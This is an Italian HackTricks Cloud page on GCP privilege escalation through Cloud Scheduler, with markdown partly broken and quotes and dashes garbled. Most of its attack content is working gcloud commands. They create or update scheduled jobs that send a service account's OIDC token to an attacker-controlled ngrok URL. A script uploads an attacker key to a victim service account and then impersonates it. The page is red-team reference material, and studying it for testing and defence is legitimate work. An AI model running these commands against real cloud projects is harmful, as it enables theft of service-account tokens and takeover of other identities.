GCP - Cloud Scheduler Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Cloud Scheduler
Maggiori informazioni in:
cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)
Un attaccante con questi permessi potrebbe sfruttare Cloud Scheduler per autenticare cron jobs come un Service Account specifico. Compilando una richiesta HTTP POST, lâattaccante programma azioni, come la creazione di un Storage bucket, per essere eseguite sotto lâidentitĂ del Service Account. Questo metodo sfrutta la capacitĂ dello Scheduler di mirare endpoint *.googleapis.com e autenticare le richieste, permettendo allâattaccante di manipolare direttamente i Google API endpoints usando un semplice comando gcloud.
- Contatta qualsiasi Google API via
googleapis.comcon OAuth token header
Crea un nuovo Storage bucket:
Crea job di Cloud Scheduler per creare un GCS bucket via API
```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=Per elevare i privilegi, un attacker si limita a creare una richiesta HTTP mirata allâAPI desiderata, impersonando il Service Account specificato
- Exfiltrate OIDC service account token
Create Cloud Scheduler job to exfiltrate OIDC token
```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']Listen in the ngrok address to get the OIDC token in clear text.
</details>
Se hai bisogno di controllare la risposta HTTP puoi semplicemente **dare un'occhiata ai log dell'esecuzione**.
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Come nello scenario precedente è possibile **aggiornare uno scheduler già creato** per rubare il token o eseguire azioni. Per esempio:
<details><summary>Aggiorna job esistente di Cloud Scheduler per esfiltrare il token OIDC</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Un altro esempio per caricare una chiave privata su una SA e impersonarla:
Caricare una chiave privata su un Service Account tramite Cloud Scheduler e impersonarlo
```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ -keyout /tmp/private_key.pem \ -out /tmp/public_key.pem \ -subj "/CN=unused"Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem) new_size=$((file_size - 1)) truncate -s $new_size /tmp/public_key.pem
Update scheduler to upload the key to a SA
For macOS: REMOVE THE -w 0 FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1
âschedule=â* * * * *â
âuri=âhttps://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=jsonâ
âmessage-body=â{"publicKeyData": "$(cat /tmp/public_key.pem | base64 -w 0)"}â
âupdate-headers âContent-Type=application/jsonâ
âlocation us-central1
âoauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
Wait 1 min
sleep 60
Check the logs to check it worked
gcloud logging read âresource.type=âcloud_scheduler_jobâ AND resource.labels.job_id=âscheduler_lab_1â AND resource.labels.location=âus-central1â
jsonPayload.@type=âtype.googleapis.com/google.cloud.scheduler.logging.AttemptFinishedââ âlimit 10 âproject
If any ââstatusâ: 200â it means it worked!
Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: âstatusâ: 400
Build the json to contact the SA
Get privatekey in json format
file_content=$(<â/tmp/private_key.pemâ) private_key_json=$(jq -Rn âarg str â$file_contentâ â$strâ)
Get ID of the generated key
gcloud iam service-accounts keys list âiam-account=victim@$PROJECT_ID.iam.gserviceaccount.com
Create the json in a file
NOTE that you need to export your project-id in the env var PROJECT_ID
and that this script is expecting the key ID to be the first one (check the head)
export PROJECT_ID=⌠cat > /tmp/lab.json <<EOF { âtypeâ: âservice_accountâ, âproject_idâ: â$PROJECT_IDâ, âprivate_key_idâ: â$(gcloud iam service-accounts keys list âiam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d â â -f 1 | grep -v KEY_ID | head -n 1)â, âprivate_keyâ: $private_key_json, âclient_emailâ: âscheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.comâ, âclient_idâ: â$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d âââ -f 2)â, âauth_uriâ: âhttps://accounts.google.com/o/oauth2/authâ, âtoken_uriâ: âhttps://oauth2.googleapis.com/tokenâ, âauth_provider_x509_cert_urlâ: âhttps://www.googleapis.com/oauth2/v1/certsâ, âclient_x509_cert_urlâ: âhttps://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.comâ, âuniverse_domainâ: âgoogleapis.comâ } EOF
Activate the generated key
gcloud auth activate-service-account âkey-file=/tmp/lab.json
</details>
## Riferimenti
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** đŹ [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
>
> </details>
HackTricks Cloud

